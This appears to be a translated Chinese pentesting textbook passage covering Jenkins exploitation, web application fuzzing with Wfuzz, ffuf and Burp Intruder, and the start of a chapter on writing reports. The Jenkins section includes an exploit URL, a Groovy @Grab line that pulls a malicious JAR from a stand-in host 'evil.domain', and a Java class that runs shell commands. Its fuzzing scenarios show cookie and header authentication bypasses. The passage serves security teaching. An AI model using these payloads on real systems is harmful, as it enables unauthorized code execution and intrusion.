一旦枚举完成,并且找到了一个有漏洞的 Jenkins 版本,我们就可以继续进行利用阶段。在本节中,我们将学习@orangetsai发现的各种利用方式,以及它们如何被链接在一起来在 Jenkins 服务器上执行系统命令。

首先,我们将看一下 2019 年最著名的两个利用,由@orangetsaiblog.orange.tw/)发现,利用了 Jenkins 并返回了一个 shell。这些利用后来被添加到 Metasploit 作为未经身份验证的 RCE。

Jenkins ACL 绕过

在 Jenkins 的脚本控制台利用变得广为人知之后,很多人开始在全局安全配置设置中将匿名读取访问权限设置为禁用

有了这个设置,匿名用户除了在以下截图中显示的特定白名单项目之外,将不再看到任何内容(这些项目在以下 URL 提供:github.com/jenkinsci/jenkins/blob/41a13dffc612ca3b5c48ab3710500562a3b40bf7/core/src/main/java/jenkins/model/Jenkins.java#L5258):

我们已经知道 Jenkins 是基于 Java 的,并且在 Java 中,一切都是java.lang.Object的子类。因此,所有对象都有getClass(),并且getClass()的名称符合命名约定规则。因此,绕过这个白名单的一种方法是使用白名单对象作为入口,然后跳转到其他对象。

Orange 发现调用这些对象(在此处列出)会导致 ACL 绕过,并且可以成功访问搜索方法:

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

在上述对象中显示的路由机制映射在以下 URL 格式中:

http://jenkins/securityRealm/user/<username>/search/index/q=<search value>

从提供的 URL 中,我们可以看到除非我们登录,否则不允许任何操作:

现在,让我们看看当我们使用 ACL 绕过时会发生什么:

我们成功绕过了 ACL 并进行了搜索。

理解 Jenkins 未经身份验证的 RCE

将 ACL 绕过漏洞与沙盒绕过链接在一起,给我们远程代码执行RCE)。Metasploit 已经有一个利用这些漏洞并执行我们的 shellcode 的模块。在了解利用的工作原理之前,让我们看看它如何使用:

  1. 我们可以通过在 msfconsole 中使用以下命令加载利用模块:
use exploit/multi/http/jenkins_metaprogramming
  1. 以下屏幕截图显示了前面命令的输出:

  1. 接下来,我们设置所需的选项并运行利用,如下面的屏幕截图所示:

  1. 现在我们有了一个反向 shell,让我们阅读利用的源代码并尝试理解它是如何工作的。通过查看源代码,我们可以看到利用中使用的各种 CVE,以及作者的详细信息:

  1. 查看模块的源代码,我们可以看到模块正在使用GET HTTP 方法请求/search/index并带有q=a参数:

正如我们所看到的,利用通过检查以下内容来确认应用程序是否正在运行 Jenkins:

  • 调用搜索功能的 ACL 绕过

  • X-Jenkins 值的响应头

  • 调用搜索 URL 后关键字管理员的 HTML 页面正文

在这里,我们可以看到与 Groovy 的doCheckScriptCompile方法有关的内容。doCheckScriptCompile是一个允许开发人员检查语法错误的方法。为了解析语法,使用了 AST 解析器(有关更多详细信息,请参见本章的Jenkins 术语部分):

为了能够成功实现 RCE,我们需要发送通过doCheckScriptCompile()时执行的代码。这就是元编程的作用。Groovy 对元编程很友好。

当我们查看 Groovy 参考手册时,我们会遇到@groovy.transform.ASTTest,它有以下描述:

这意味着当通过@ASTTest传递时,将执行以下代码:

@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec(" echo 'Hacked' ")
})

到目前为止,利用可以这样编写:

http://jenkins/org.jenkinsci.plugins.workflow.cps.cpsflowdefinition/checkScriptCompile?value=@groovy.transform.ASTTEST(value={echo%201}%0a%20class%20Person())

URL 正在调用 Jenkins 的workflow-cps插件,该插件具有checkScriptCompile方法。托管代码的 URL 是

github.com/jenkinsci/workflow-cps-plugin/blob/2.46.x/src/main/java/org/jenkinsci/plugins/workflow/cps/CpsFlowDefinition.java 可以如下所示:

然而,这个版本的利用只有在 Jenkins 中不存在Pipeline Shared Groovy Libraries Plugin时才能工作。这就是为什么,如果我们进一步查看利用代码,我们将看到与最终载荷中提到的@Grab相关的内容,如下所示:

现在,我们需要了解@Grab是什么。根据 Groovy 的官方文档,Grape 是一个 JAR 依赖管理器,允许开发人员管理和添加 Maven 存储库依赖项到他们的类路径,如下面的屏幕截图所示:

因此,@Grab将从所述存储库导入依赖项并将其添加到代码中。现在,一个问题出现了:“如果存储库不在 Maven 上怎么办?”在我们的情况下,因为它在 shellcode 中,Grape 将允许我们指定 URL,如下面的屏幕截图所示:

在这里,以下代码将从evil.domain/evil/jar/org.restlet/1/org.restlet-1.jar下载 JAR 文件:

@GrabResolver(name='restlet', root='http://evil.domain/')
@Grab(group='evil.jar, module='org.restlet', version='1')
import org.restlet

现在我们已经从服务器下载了恶意的 JAR 文件,下一个任务是执行它。为此,我们需要深入研究 Groovy 核心的源代码,这是 Grape 实现的地方(github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/GrapeIvy.groovy)。

我们可以使用一种方法来处理 ZIP(JAR)文件,并检查特定目录中的两种方法。请注意以下截图中显示的最后几行 - 有一个名为processRunners()的函数:

通过查看以下函数,我们可以看到正在调用newInstance()。这意味着可以调用一个构造函数:

简而言之,如果我们创建一个恶意的 JAR 文件,并将一个类文件放在META-INF/services/org.codehaus.groovy.plugins.Runners文件夹中,我们就能够调用一个包含我们代码的构造函数,如下所示:

public class Exploit {
public Exploit(){
try {
String[] cmds = {"/bin/bash", "-c", "whoami"};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}

上述代码将导致代码执行!

因此,如果我们回到利用的源代码,如下图所示,我们应该能够完全理解它的工作原理:

checkScriptCompile用于传递程序的语法。@Grabconfig用于禁用被获取文件的校验和。@GrabResolver用于获取外部依赖(恶意的 JAR 文件)。Import用于执行包含 shellcode 的构造函数。

总结

在本章中,我们学习了 Jenkins 及其基本术语。我们介绍了如何手动检测 Jenkins 的安装,以及如何使用 Metasploit Framework 进行检测。然后,我们学习了如何利用 Jenkins,以及利用的原理。了解这些利用的原理对于希望帮助所在公司应用更好的补丁并让渗透测试人员开发更好的利用或绕过的人来说是很重要的。

我们的主要目标应该始终是尽可能多地了解技术。从渗透测试人员的角度来看,他们了解得越多,他们能够利用的机会就越大,而从蓝队/SOC 团队的角度来看,对他们安装的技术有更多的了解可以帮助他们防止对其进行攻击。

在下一章中,我们将研究如何利用应用逻辑中的漏洞。

问题

  1. 在黑盒渗透测试中,我们如何识别 Jenkins 实例?

  2. 还有其他方法可以识别 Jenkins 实例吗?

  3. 我已经从 HTTP 头中识别出了 Jenkins 实例,但页面无法访问。我该如何使页面可访问?

  4. 一旦我能够访问 Jenkins 面板,我可以做些什么?

进一步阅读

以下链接更详细地介绍了 Jenkins 的漏洞利用:

第十八章:逻辑漏洞猎杀

在这一部分,我们将专注于利用应用程序中存在的业务逻辑缺陷,涵盖深入的示例。我们还将介绍模糊测试 Web 应用程序的方法,以找到漏洞并撰写报告。

本节包括以下章节:

  • 第十四章,Web 应用程序模糊测试-逻辑漏洞猎杀

  • 第十五章,撰写渗透测试报告

第十九章:Web 应用程序模糊测试 - 逻辑漏洞挖掘

在之前的章节中,我们已经学习了 Metasploit 的基础知识,可以在 Web 应用程序渗透测试中使用的 Metasploit 模块,使用 Metasploit 模块进行侦察和枚举,Metasploit 支持的不同技术和不同内容管理系统(CMSes)的不同模块,以及不同的利用技术。在本章中,我们将学习 Web 应用程序渗透测试的另一个重要方面 - Web 应用程序模糊测试。

Web 应用程序模糊测试并不是一般渗透测试案例中的强制阶段。然而,它是发现逻辑漏洞的关键步骤。根据 Web 应用程序服务器对某些请求的响应方式,可以使用模糊器来了解服务器的行为,以发现测试人员未见的缺陷。Metasploit 配备了三个 Web 模糊器模块,可用于测试 Web 应用程序中表单和其他字段的内存溢出。在本章中,我们将学习以下主题来学习模糊测试:

  • 什么是模糊测试?

  • 模糊测试术语

  • 模糊攻击类型

  • Web 应用程序模糊测试简介

  • 识别 Web 应用程序攻击向量

  • 场景

技术要求

以下是本章的技术要求:

什么是模糊测试?

模糊测试,也称为模糊测试,是一种使用畸形/半畸形数据以自动化方式发现实现错误的黑盒软件测试。模糊测试是由威斯康星大学麦迪逊分校的 Barton Miller 教授及其学生于 1989 年开发的(他们的持续工作可以在www.cs.wisc.edu/~bart/fuzz/找到)。在进行模糊测试时,观察应用程序/软件的响应,并根据其行为的变化(崩溃或挂起),发现实现错误。简而言之,模糊测试过程如下:

我们需要确定目标和输入向量(在系统应用程序的情况下)以及需要进行模糊处理的端点(在 Web 应用程序的情况下)。在生成适当的输入种子(随机模糊数据)之后,畸形/半畸形的模糊数据将被输入到模糊器进行测试。

与此同时,我们需要通过监控和分析服务器/应用程序响应(在 Web 应用程序模糊测试的情况下为 Web 服务器响应,在系统应用程序模糊测试的情况下为应用程序诊断信息/跟踪信息,其中包括 FTP 服务器、SSH 服务器和 SMTP 服务器)来了解应用程序在模糊测试期间的行为。为了更好地理解模糊测试,让我们首先学习一些在模糊测试中常用的术语。

模糊测试术语

为了更好地理解模糊测试和模糊测试技术,让我们先看一下本章中将帮助我们掌握模糊测试概念和技术的不同模糊测试术语:

  • 模糊器: 模糊器是一种将畸形/半畸形数据注入到服务器/网络应用程序中并观察应用程序行为以检测错误的程序/工具。模糊器使用生成器生成的畸形/半畸形数据。

  • 生成器: 生成器使用模糊向量和一些随机数据的组合。然后将生成的数据馈送给模糊器,模糊器将这些畸形数据注入到应用程序中。

  • 模糊向量: 模糊向量是模糊器使用的已知危险值。通过观察应用程序的行为,模糊器可以注入不同的模糊向量。

  • **输入种子:**这些是模糊器用于测试的有效输入样本。输入种子可以是包含模糊器要使用的数据格式的任何测试文件。生成器将根据输入种子生成数据,然后由模糊器使用。如果选择输入种子小心翼翼,我们可以在应用程序中找到大量的错误。

  • **仪器:**这是一种技术,用于测量应用程序的性能和诊断信息,包括任何错误。在模糊处理期间,仪器技术将在运行时暂时控制被模糊处理的应用程序/软件,就像拦截器一样,以查找来自跟踪信息的错误。

现在我们已经学习了一些新的术语,让我们看看可以使用哪些攻击类型来执行模糊测试。

模糊攻击类型

模糊器通常会尝试使用数字(有符号/无符号整数或浮点数)、字符(URL 或命令行输入)、用户输入文本、纯二进制序列等进行攻击的组合。可以从这些类型生成一系列模糊向量。例如,对于整数,模糊向量可以是零、负值或非常大的整数值;对于字符,模糊向量可以是转义字符、Unicode 字符、URL 编码字符、特殊字符或所有字符的序列。生成模糊向量列表后,模糊器将使用该列表对应用程序进行模糊处理。

应用程序模糊处理

对于基于桌面的应用程序,模糊器可以对其界面(按钮序列的组合、文本输入等)、命令行选项(如果适用)以及应用程序提供的导入/导出功能进行模糊处理。

对于基于 Web 的应用程序,模糊器可以对其 URL、用户输入表单、HTTP 请求头、HTTP POST 数据、HTTP 协议和 HTTP 方法进行模糊处理。

协议模糊处理

协议模糊器将伪造网络数据包并将其发送到服务器。如果协议栈中存在错误,将使用协议模糊来揭示它。

文件格式模糊处理

文件格式模糊处理通常用于那些程序在文件中导入/导出数据流的情况。要执行文件格式模糊处理,您必须生成多个具有不同文件格式的输入种子,并将它们保存在单个文件中。然后,模糊器将使用保存的文件作为服务器/应用程序的输入,记录可能发生的任何崩溃。现在我们将进入下一节,该节将向我们介绍 Web 应用程序模糊处理。

Web 应用程序模糊处理简介

现在我们对模糊概念、术语和攻击类型有了清晰的理解,让我们开始基于 Web 应用程序的模糊处理。如前所述,基于 Web 应用程序的模糊处理是通过使用 URL、表单、标头和方法作为主要模糊向量来完成的。在本章中,我们将使用以下工具对基于 HTTP 的 Web 应用程序进行模糊处理:WfuzzFfufBurp Suite。在继续之前,让我们安装本节中概述的工具,以便查找逻辑错误。

Fuzzer 安装(Wfuzz)

Wfuzz 是一个基于 Python 的 Web 应用程序模糊器,它使用替换技术来将命令中的FUZZ关键字替换为提供给模糊器的模糊向量。该模糊器可以在不同的 Web 应用程序组件(如参数、身份验证、表单、目录/文件和标头)中执行复杂的 Web 安全攻击。Wfuzz 还配备了各种模块,包括迭代器、编码器、有效载荷、打印机和脚本。根据 Web 应用程序的不同,我们可以使用这些模块来执行成功的模糊测试:

  1. 我们可以通过克隆 GitHub 存储库来安装Wfuzz工具,如下面的屏幕截图所示:

![](github.com/OpenDocCN/f…

  1. 在运行工具之前,我们需要通过执行python setup.py install命令来安装它。这将在系统上安装所有文件,如下截图所示:

  1. 要确认工具是否已成功安装,让我们执行wfuzz -h命令:

现在让我们安装本章中将使用的第二个工具Fuzz Faster U Foolffuf)。

模糊器安装(ffuf)

Fuzz Faster U Foolffuf)是用 Go 编写的 Web 应用程序模糊器,具有 Gobuster 和Wfuzz的功能。我们可以从github.com/ffuf/ffuf克隆 GitHub 存储库,也可以从github.com/ffuf/ffuf/releases下载预编译版本。让我们按照以下步骤安装它:

  1. 我们可以使用git clone https://github.com/ffuf/ffuf命令或go get https://github.com/ffuf/ffuf命令来克隆存储库。让我们克隆存储库:

  1. 现在,通过执行go build .命令来安装它:

  1. 成功构建后,我们可以看到在同一目录中创建了一个名为ffuf的编译程序。我们可以按照以下截图中显示的方式运行程序:

  1. 本章的第三个和最后一个工具将是臭名昭著的 Burp Suite Intruder:

现在我们已经安装了执行模糊测试所需的所有工具,让我们试着了解在执行对 Web 应用程序进行模糊测试时将使用的模糊测试输入和向量。

识别 Web 应用程序攻击向量

攻击向量是 Web 应用程序的区域/部分,模糊器可以在其中注入畸形/半畸形数据。对于 Web 应用程序,以下是我们可以执行模糊测试的部分:

  • HTTP 请求动词

  • HTTP 请求 URI

  • HTTP 请求头

  • HTTP POST数据

  • HTTP 协议的旧版本

让我们试着了解每个部分以及我们可以用于 Web 应用程序模糊测试的所有模糊向量。

HTTP 请求动词

请求动词也称为请求方法,它们由 Web 应用程序客户端用于指示对服务器上给定资源执行的期望操作。所使用的每种方法取决于客户端从服务器获取的资源。一些最常见的 HTTP 动词是GETPOSTOPTIONSHEADPUTDELETETRACEPATCHCONNECT

对 HTTP 请求方法进行模糊测试可以帮助我们识别基于模糊器提供的不同方法而发生的 Web 应用程序响应的变化。我们还可以识别 Web 应用程序服务器允许的方法,这可以用于检查一些攻击测试用例。

使用 Wfuzz 对 HTTP 方法/动词进行模糊测试

对 HTTP 方法进行模糊测试非常简单,同时也非常有帮助。让我们尝试使用Wfuzz在简单的 Web 应用程序上对 HTTP 动词进行模糊测试。可以通过以下步骤来执行 HTTP 请求方法的模糊测试:

  1. 在终端中执行以下命令以开始使用Wfuzz
wfuzz -z list,PUT-POST-HEAD-OPTIONS-TRACE-GET -X FUZZ <url>
  1. 以下截图显示了前面命令的输出:

-z选项用于输入有效负载。在这种情况下,我们使用了一个常见的 HTTP 请求方法列表(GETPOSTHEADOPTIONSTRACEPUT)。

-X选项用于提供模糊器要使用的 HTTP 请求方法。如果未提供-X选项,模糊器将默认使用 HTTP GET请求方法进行模糊测试。

现在,让我们看看如何使用ffuf对 HTTP 动词进行模糊测试。

使用 ffuf 对 HTTP 方法/动词进行模糊测试

我们还可以使用ffuf来模糊请求头。

我们可以执行以下命令,使用单词列表来模糊测试请求头:

./ffuf -c -X FUZZ -w <http_methods_wordlist> -u <url>

以下屏幕截图显示了前面命令的输出:

如前面的屏幕截图所示,模糊器找到了一些 Web 应用程序服务器可接受的 HTTP 方法。让我们尝试使用 Burp Suite 来模糊相同的情况。

注意:在ffuf中使用-c选项是为了给 HTTP 响应代码添加颜色。这有助于我们更快地识别隐藏的文件和目录。

使用 Burp Suite Intruder 来模糊测试 HTTP 方法/动词

HTTP 动词也可以通过 Burp Suite Intruder 来进行模糊测试,方法是单击 Intruder 选项卡,然后打开 Positions 子选项卡。Burp Suite 将自动使用**§**载荷标记标记任何匹配[parameter]=[value]格式的值。在载荷标记内的任何内容都将被 Burp Suite 视为模糊向量。Burp Suite Intruder 支持四种攻击类型:Sniper、Battering Ram、Pitchfork 和 Cluster Bomb。要了解有关攻击类型的更多信息,请参阅portswigger.net/burp/documentation/desktop/tools/intruder/positions.

让我们通过单击“清除§”按钮来清除模糊向量位置,如下面的屏幕截图所示:

要对 HTTP 请求方法进行模糊测试,让我们通过单击“添加§”按钮添加载荷标记(§),如下面的屏幕截图所示:

现在设置了载荷标记,我们需要定义应该由入侵者用于模糊测试的载荷。这可以通过单击“载荷”选项卡来完成(如下面的屏幕截图所示)。在这种情况下,我们将使用包含一些常见 HTTP 请求方法的单词列表。可以通过首先将载荷类型设置为“简单列表”,然后单击“加载…”按钮来加载列表:

加载了单词列表后,我们可以单击“开始攻击”按钮开始模糊测试:

将打开一个新窗口,显示模糊测试的结果,如下面的屏幕截图所示:

在前面的屏幕截图中,我们可以观察到当使用 HTTP CONNECT 和 TRACE 方法时,服务器分别以 HTTP 400错误请求)和 HTTP 405不允许的方法)代码做出响应。这显示了关于这两个请求头的 Web 应用程序服务器的行为。

注意:我们也可以自由使用在线可用的其他自定义列表来模糊测试 HTTP 方法。

HTTP 请求 URI

开始 HTTP 请求 URI 模糊测试,我们首先需要了解 URI 的结构。URI 具有以下通用可接受的结构:

http://[domain]/[Path]/[Page].[Extension]?[ParameterName]=[ParameterValue]

使用 Wfuzz 来模糊测试 HTTP 请求 URI 路径

要使用 Wfuzz 来模糊测试 URI 路径,让我们执行以下命令:

wfuzz -w <wordlist> <url>/FUZZ

以下屏幕截图显示了前面命令的输出:

使用--hc开关,我们可以根据 HTTP 代码过滤结果。在这种情况下,我们已经过滤了 HTTP 404未找到)代码,如下面的屏幕截图所示:

我们也可以使用ffuf来做同样的事情。

使用 ffuf 来模糊测试 HTTP 请求 URI 路径

要模糊 URI 路径,让我们执行以下命令:

./ffuf -c -w <wordlist> -u <url>/FUZZ

以下屏幕截图显示了前面命令的输出:

在前面的两种情况下,FUZZ关键字被替换为用于模糊处理目录名称的单词列表条目。正如我们在前面的屏幕截图中所看到的,当模糊器请求 css、img、js 和 setup 时,服务器响应了 HTTP 301。通过观察响应的大小和单词,我们可以得出结论,模糊器能够在 Web 应用程序服务器中找到目录。

使用 Burp Suite Intruder 进行 HTTP 请求 URI 路径的模糊处理

现在我们已经使用了Wfuzzffuf来模糊处理 URI 路径,让我们尝试在 Burp Suite Intruder 中进行相同的操作。这里的概念是相同的。让我们放置一个负载标记(如下面的屏幕截图所示),以便模糊器将数据发送到向量:

让我们将负载类型设置为“简单列表”,并使用“加载…”按钮导入一个单词列表:

单击“开始攻击”按钮(如前面的屏幕截图所示),Intruder 将尝试使用给定的自定义单词列表对 URI 路径进行模糊处理。模糊器的结果将显示在另一个窗口中,其中包括 HTTP 响应代码和长度,我们可以在下面的屏幕截图中看到:

正如我们在前面的屏幕截图中所看到的,我们能够模糊处理 Web 应用程序服务器的 URI 路径(目录)。现在,让我们看看如何使用相同的工具模糊处理 URI 文件名和文件扩展名。

使用 Wfuzz 进行 HTTP 请求 URI 文件名和文件扩展名的模糊处理

Wfuzz 还可以模糊处理 Web 应用程序服务器的文件名和文件扩展名:

  • wfuzz -c --hc=404 -z file,SecLists/Discovery/Web-Content/raft-small-files-lowercase.txt http://192.168.2.19:8090/xvwa/FUZZ.php(文件名模糊处理)

  • wfuzz -c --hc=404 -z list,php-asp-aspx-jsp-txt http://192.168.2.19:8090/xvwa/home.FUZZ(文件扩展名模糊处理)

使用 ffuf 进行 HTTP 请求 URI 文件名和文件扩展名的模糊处理

要对 HTTP 请求 URI 文件名和文件扩展名进行模糊处理,可以使用 ffuf 模糊器的以下命令:

  • ffuf -c -w <wordlist> -u http://192.168.2.19:8090/xvwa/FUZZ.php(文件名模糊处理)

  • ffuf -c -w <wordlist> -u http://192.168.2.19:8090/xvwa/home.FUZZ(文件扩展名模糊处理)

使用 Burp Suite Intruder 进行 HTTP 请求 URI 文件名和文件扩展名的模糊处理

负载标记放置在文件扩展名之前,以模糊文件名(如我们在以下屏幕截图中所见):

负载标记放置在文件名之后,以模糊文件扩展名(如我们在以下屏幕截图中所见):

Wfuzz 和 Burp Suite Intruder 的很酷的功能是能够使用多个模糊向量来模糊处理多个负载位置。

使用 Wfuzz 进行 HTTP 请求 URI 的模糊处理(GET 参数+值)

Wfuzz 具有内置功能,可以通过添加FUZZFUZ2ZFUZ3Z...关键字来模糊处理多个负载位置。假设我们想要模糊处理 Web 应用程序服务器的GET参数名称和值。由于我们不能在两个模糊向量中使用相同的单词列表,我们将使用FUZZFUZ2Z关键字来执行模糊处理。让我们在 Wfuzz 中执行以下命令:

wfuzz -c -z list,<parameter_wordlist> -z <value_wordlist> http://<target>:<port>/?FUZZ=FUZ2Z

正如我们在前面的命令中所看到的,我们使用了-z选项(是的,我们可以重复使用-z-H-b选项)和[parameter]=[value]/?FUZZ=FUZ2Z格式显示。执行此命令时,模糊器将使用parameter_wordlist中的第一个条目,将其替换为FUZZ关键字,然后通过FUZ2Z循环遍历所有value_wordlist条目。就像这样,模糊器将通过两个单词列表进行模糊处理。现在让我们看看如何使用 Intruder 实现相同的功能。

使用 Burp Suite Intruder 进行 HTTP 请求 URI 的模糊处理(GET 参数+值)

在 Burp Suite 中,不同的攻击类型可以帮助我们进行这种测试。为了同时使用两个字典进行模糊测试,我们将在 Intruder 中使用簇炸弹攻击类型:

  1. 首先,让我们将攻击类型设置为簇炸弹,并将有效负载标记设置为/?§§=§§(如下图所示):

  1. 在这种情况下,我们将使用两个有效负载集,让我们将第一个有效负载集(参数名称)设置为简单列表,并将有效负载类型更改为 Simple list:

  1. 现在我们的第一个有效负载集已经配置好了,让我们配置第二个有效负载集(参数值)。在将有效负载集设置为2后,让我们将有效负载类型更改为Numbers。由于参数值是整数格式(在这种情况下),让我们将范围设置为15,并将步长设置为1

  1. 我们的 Intruder 现在已经配置好了,可以对多个有效负载集进行模糊测试。让我们通过单击“开始攻击”按钮(如前面的屏幕截图中所示)开始模糊测试。然后我们会看到以下屏幕:

成功!

正如我们从前面的屏幕截图中看到的,Intruder 能够找到一个带有一些参数值的参数名称。我们如何区分在字典中找到的参数名称和值与其他条目?通过观察响应长度。

让我们尝试使用Wfuzz模糊三个模糊向量(目录、文件和文件扩展名)。这肯定会花费很多时间,因为它同时结合了不同的有效负载集。为了对目录、文件名和文件扩展名进行模糊测试,我们可以执行以下命令:

wfuzz -c --hc=404 -z file,SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -z file,wfuzz/wordlist/general/common.txt -z list,php-txt http://192.168.2.19/FUZZ/FUZ2Z.FUZ3Z

以下屏幕截图显示了前面命令的输出:

结果可以根据字符数(--hh)、单词数(--hw)或行数(--hl)进行过滤:

现在我们对如何模糊 HTTP 请求 URI 有了一些了解,让我们了解如何模糊 HTTP 头部。

HTTP 请求头

模糊请求头在概念上与模糊 URI 相同。唯一的区别是,通过模糊请求头找到的漏洞数量将比模糊 URI 找到的漏洞数量更多,因为这些头部被发送到 Web 应用程序服务器,服务器会在内部处理这些头部。这意味着我们有更大的范围来发现漏洞。

有不同类型的 HTTP 头部在起作用:

  • 标准的 HTTP 头(CookieUser-AgentAcceptHost等)

  • 非标准的 HTTP 头(X-Forwarded-ForX-Requested-WithDNT等)

  • 自定义头部(除了非标准头部之外,任何以X-开头的头部)

让我们尝试了解如何使用与本章其他部分相同的模糊器模糊每种类型的头部。

使用 Wfuzz、ffuf 和 Burp Suite 对标准的 HTTP 头进行模糊测试

标准的 HTTP 头通常被 Web 服务器用来处理客户端请求。在进行 Web 应用程序渗透测试时,建议了解 Web 应用程序的工作原理以及 Web 应用程序服务器如何处理请求头(标准和非标准)。更好地了解 Web 应用程序可以帮助我们定义一些相当不错的模糊向量,从而大大增加在 Web 应用程序中找到逻辑缺陷的可能性。在本主题中,我们将通过一些自定义测试案例来了解如何对 Web 应用程序进行模糊测试。

场景 1 - Cookie 头部模糊

让我们看一个场景。我们有一个 PHP 文件,名为- cookie_test.php。我们使用Cookie标志请求这个文件,值为lang=en_us.php

服务器响应消息为正在使用的语言:英语

en_us.php文件中,我们可能会认为cookie参数正在从服务器包含文件(文件包含)并执行文件,然后打印服务器的消息。

现在让我们看看如何使用Wfuzz模糊cookie头部:

正如我们在上述截图中所看到的,-b选项用于提供cookie值,我们使用了lang=FUZZ。使用基于 Web 应用程序攻击的模糊向量,我们能够找到服务器响应长度不同的有效载荷。在这里,我们使用了 fuzzer 找到的有效载荷之一:

我们能够确认存在文件包含漏洞。

使用ffuf执行以下命令也可以完成相同的操作:

fuff -c -b lang=FUZZ -w <wordlist> -u http://192.168.2.19/cookie_test.php

对于 Burp Suite,我们只需要将有效载荷标记添加到Cookie头部:

同样,我们可以使用相同的工具来模糊用户定义的Cookie头部。让我们来看看这个。

情景 2 - 用户定义的 cookie 头部模糊

这种情况与之前的情况不同。在这种情况下,我们将使用lang=en_us cookie 值从服务器请求cookie_test.php文件:

服务器响应为未经授权的访问!如下截图所示:

仅使用普通请求,服务器将定义的 cookie 回显给我们:

假设我们的目标是访问home.php文件,但目前受到限制,如下所示:

由于没有登录认证页面,我们无法对服务器进行身份验证,我们必须假设身份验证是在User-Agent部分或Cookie部分进行的。让我们假设身份验证是通过检查 cookie 值来进行的。客户端可以使用用户定义的 cookie 值来连接到服务器并成功进行身份验证。为了模糊一个盲目的用户定义的 cookie 值,让我们使用 wfuzz 执行以下命令:

wfuzz --sh=239 -c -z file,<username_wordlist> -z file,<password_wordlist> -b lang=en_us -b FUZZ=FUZ2Z <url>

以下截图显示了上述命令的输出:

哇!正如我们在上述截图中所看到的,当插入一个具有值Cookie: admin=admin;的用户定义的 cookie 时,服务器响应了一个不同的页面。让我们使用相同的用户定义的 cookie 参数名称和值来请求相同的页面:

在下面的截图中,我们可以看到服务器正在将我们重定向到home.php页面:

通过模糊用户定义的 cookie 参数名称和值,我们能够使用cookie_test.php页面进行身份验证,以访问home.php页面:

相同的方法可以用来发现各种漏洞,如 SQL 注入,XSS 和 RCE。

注意:这完全取决于 Web 应用程序以及 Web 应用程序如何处理Cookie头部。如果Сookie头部只是用于服务器向客户端提供临时会话,那么我们除了测试基于会话的漏洞之外,别无他法。

其他标准头部也可以进行模糊,包括User-AgentHostAcceptContent-Type。在模糊非标准 HTTP 头部的情况下,我们可以使用一个单词列表来检查 fuzzer 请求的每个头部的服务器响应。有时,通过使用这些非标准头部,如 X-Forwarded-For 等,我们可以绕过服务器对应用程序设置的基于 IP 的访问限制。

使用 Wfuzz,ffuf 和 Burp Suite 模糊自定义头部

在许多网络应用程序中,开发人员引入了一些自定义的 HTTP 头,当请求被处理时,这些头就会被解析。从生成用户特定令牌到通过这些自定义头实现访问控制,这些头具有完全不同的功能级别。在这种情况下,有时开发人员会忘记对用户输入进行消毒,这反过来可能成为利用的目标。让我们看看如何使用 Wfuzz、ffuf 和 Burp Suite 来模糊自定义头。

场景 3 - 自定义头模糊

在这种情况下,我们有一个运行在 PHP 上的应用程序 - custom_header.php。我们从服务器请求以下页面:

服务器以未经授权的访问!消息和两个未知的头部 - X-isAdmin: falseX-User: Joe(正如我们在下面的屏幕截图中所看到的)做出回应:

服务器的消息如下:

通过观察这两个自定义头,我们可以假设服务器也在处理这些头。第一个头,即X-isAdmin,看起来像是一个接受布尔值truefalse的自定义头。另一个头,X-User,可能接受用户的名字,所以值是字符串格式。让我们使用Wfuzz来模糊这些头,找出我们能做些什么。让我们在Wfuzz中执行以下命令:

wfuzz -c -z list,true-false -z file,<username_wordlist> -H “X-isAdmin: FUZZ” -H “X-User: FUZ2Z” <url>

以下屏幕截图显示了上述命令的输出:

我们可以在 HTTP 请求中的多个位置使用-H标志。现在我们从服务器得到了相同的响应,让我们根据字符长度过滤结果(--hh标志):

不可思议!我们找到了X-isAdmin: trueX-User: Billy的值。这意味着 Billy 是管理员。使用这个自定义头在 HTTP 请求中,让我们看看我们是否能访问页面:

正如我们在下面的屏幕截图中所看到的,我们能够使用自定义的 HTTP 头进行身份验证,并在身份验证后,服务器将我们重定向到home.php页面:

home.php页面如下所示:

现在我们对模糊 HTTP 请求头有了一些清晰的认识,我们也可以在 HTTP POST参数上使用类似的模糊技术,我们可以在下面的屏幕截图中看到:

同样,我们也可以对 HTTP POST参数进行模糊测试,以找到应用程序支持的 API 和这些 API 参数支持的可接受值。

对 Web 应用程序攻击向量进行模糊测试可以为我们提供更多关于 Web 应用程序渗透测试的见解。当模糊器发现有趣的东西时,记录每个请求和响应总是一个好习惯。最后,如果向模糊器提供详细的模糊数据,模糊测试就会非常有效。在大多数情况下,模糊测试可以找到代码执行和其他技术漏洞,这是通用 Web 应用程序扫描器无法找到的。

总结

在本章中,我们首先了解了模糊测试的基础知识和不同类型的模糊攻击。然后,我们深入研究了 Web 应用程序模糊测试,并查看了Wfuzzffuf的安装。之后,我们对 HTTP 请求动词和请求 URI 进行了模糊测试。在本章的最后,我们看了三种情景:cookie 头部模糊测试,用户定义的 cookie 头部模糊测试和自定义头部模糊测试。通过学习模糊测试,您现在可以了解 Web 应用程序的行为,这将帮助您发现技术和逻辑漏洞。您可以在进行漏洞赏金、或者参加具有挑战性的夺旗赛CTFs)时,将模糊测试作为常规渗透测试的一部分。

在下一章中,我们将看一下渗透测试报告中必须包括的关键要点。

问题

  1. 我可以对基于 SSL 的 Web 应用程序执行模糊测试吗?

  2. 这些模糊测试工具(本章提到的)在 Windows 中受支持吗?

  3. 我需要在所有 Web 应用程序渗透测试中执行模糊测试吗?

  4. 如果我执行模糊测试,会发现什么样的漏洞?

进一步阅读

第二十章:撰写渗透测试报告

众所周知,一个好的报告必须包含有关系统漏洞的所有必要细节。所有渗透测试标准都强调撰写结构良好的报告。在本章中,我们将学习一些工具,以便撰写一个好的报告。

报告必须包含的关键要点如下:

  • 漏洞的详细信息

  • CVSS 评分

  • 漏洞对组织的影响

  • 修补漏洞的建议

报告应分为两部分:一部分供技术团队使用,另一部分供管理层使用。

在本章中,我们将涵盖以下主题。这些主题将涵盖报告生成过程中常用的工具:

  • 报告撰写简介

  • Dradis 框架简介

  • 与 Serpico 合作

技术要求

本章的技术要求如下:

报告撰写简介

报告是渗透测试中最重要的阶段之一,因为报告的漏洞不仅供技术团队使用,还供管理层使用。通常需要向客户呈现两种类型的报告 - 执行报告详细技术报告DTR)。

